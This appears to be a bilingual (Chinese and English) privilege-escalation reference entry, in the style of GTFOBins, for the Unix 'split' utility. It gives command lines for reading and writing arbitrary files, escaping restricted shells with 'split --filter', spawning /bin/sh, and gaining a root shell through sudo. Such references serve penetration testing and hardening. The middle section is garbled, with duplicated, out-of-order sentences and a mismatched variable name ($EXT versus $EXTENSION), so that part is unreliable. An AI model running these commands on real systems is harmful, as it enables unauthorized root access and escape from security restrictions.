从文件中读取数据。
LFILE=要读取的文件路径
TF=$(mktemp)
split $LFILE $TF
cat $TF*
将数据写入文件中。
xaa
by default. The input file will be split in multiple smaller files unless the -b
option is used, pick a value in MB big enough. TF=$(mktemp)
echo DATA >$TF
split -b999m $TF
GNU version only. Data will be written in the current directory in a file named xaa.xxx
by default. The input file will be split in multiple smaller files unless the -b
option is used, pick a value in MB big enough. EXT=.xxx
TF=$(mktemp)
echo DATA >$TF
split -b999m --additional-suffix $EXTENSION $TF
运行非交互式系统命令来摆脱受限环境。
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
Command execution using stdin (and close it directly). COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
用来生成一个交互式的系统shell。
split --filter=/bin/sh /dev/stdin
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo split --filter=/bin/sh /dev/stdin